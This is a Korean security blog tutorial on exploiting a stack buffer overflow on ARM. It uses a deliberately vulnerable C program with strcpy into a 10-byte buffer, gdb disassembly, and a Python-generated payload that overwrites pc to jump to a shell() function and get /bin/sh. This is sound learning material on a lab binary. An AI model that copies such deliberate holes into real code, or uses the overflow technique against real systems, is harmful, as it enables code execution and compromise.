-
ARM ExploitHack/Pwnable 2016. 1. 11. 22:54
#include <stdio.h>
#include <stdlib.h>
void shell()
{
system("/bin/sh");
}
void vuln(char *arg)
{
char buf[10];
strcpy(buf,arg);
}
int main(int argc,char *argv[])
{
char buffer[256];
if(argc < 2) {
printf("argv error\n");
exit(0);
}
vuln(argv[1]);
return 0;
}
코드는 간단하다. 라즈베리파이같이 ARM 환경의 서버가 있다면 gcc로 컴파일해주자.
만약 존재하지않는다면, cross compiler로 돌려 qemu로 돌리면된다.
(gdb) disas main
Dump of assembler code for function main:
0x000084a8 <+0>: push {r11, lr}
0x000084ac <+4>: add r11, sp, #4
0x000084b0 <+8>: sub sp, sp, #264 ; 0x108
0x000084b4 <+12>: str r0, [r11, #-264] ; 0x108
0x000084b8 <+16>: str r1, [r11, #-268] ; 0x10c
0x000084bc <+20>: ldr r3, [r11, #-264] ; 0x108
0x000084c0 <+24>: cmp r3, #1
0x000084c4 <+28>: bgt 0x84d8 <main+48>
0x000084c8 <+32>: ldr r0, [pc, #44] ; 0x84fc <main+84>
0x000084cc <+36>: bl 0x8374
0x000084d0 <+40>: mov r0, #0
0x000084d4 <+44>: bl 0x83a4
0x000084d8 <+48>: ldr r3, [r11, #-268] ; 0x10c
0x000084dc <+52>: add r3, r3, #4
0x000084e0 <+56>: ldr r3, [r3]
0x000084e4 <+60>: mov r0, r3
0x000084e8 <+64>: bl 0x8480 <vuln>
0x000084ec <+68>: mov r3, #0
0x000084f0 <+72>: mov r0, r3
0x000084f4 <+76>: sub sp, r11, #4
0x000084f8 <+80>: pop {r11, pc}
0x000084fc <+84>: andeq r8, r0, r8, ror r5
---Type <return> to continue, or q <return> to quit---
디스어셈블한 결과이다.
ARM 에서도 함수 프롤로그와 에필로그가 존재한다. 하지만 조금 다를뿐..
Dump of assembler code for function vuln:
0x00008480 <+0>: push {r11, lr}
0x00008484 <+4>: add r11, sp, #4
0x00008488 <+8>: sub sp, sp, #24
0x0000848c <+12>: str r0, [r11, #-24]
0x00008490 <+16>: sub r3, r11, #16
0x00008494 <+20>: mov r0, r3
0x00008498 <+24>: ldr r1, [r11, #-24]
0x0000849c <+28>: bl 0x8368
0x000084a0 <+32>: sub sp, r11, #4
0x000084a4 <+36>: pop {r11, pc}
실제로 취약점이 발생하는 함수이다.
0x00008494 <+20>: mov r0, r3
0x00008498 <+24>: ldr r1, [r11, #-24]
0x0000849c <+28>: bl 0x8368
취약점이 발생하는곳이다. 이제부터 취약점을 공략해서 pc 를 바꿀것이다.
pc 는 program counter로, 프로그램에서 현재 주소를 읽어온다.
(gdb) r $(python -c 'print "\x90"*270')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/songsari/test $(python -c 'print "\x90"*270')
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
20개정도만넣어도되지만 270개를 넣어보았다. 90으로 pc가 바뀌었다. 정상적으로 리턴주소가 덮힌다면 이제 우리가 쉘을 따야하니 shell함수를 호출하면된다.
(gdb) i func
All defined functions:
Non-debugging symbols:
0x00008348 _init
0x000083bc _start
0x000083f8 call_gmon_start
0x0000841c __do_global_dtors_aux
0x00008438 frame_dummy
0x00008468 shell
shell의 주소는 0x8468이니까 그냥 덮어줘보자.
(gdb) r $(python -c 'print "A"*16 + "\x68\x84"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/songsari/test $(python -c 'print "A"*16 + "\x68\x84"')
sh-4.2$ ls
arm-check cgibin test test.c
정상적으로 /bin/sh가 호출된다.
'Hack > Pwnable' 카테고리의 다른 글
16bit Debugging/ 16bit Dynamic Debugging (0) 2016.05.09 Static Link (0) 2016.03.07 Embedded Firmware Bug Hunting (0) 2016.01.05 Mac mprotect (0) 2015.12.07 Mac ASLR (0) 2015.12.07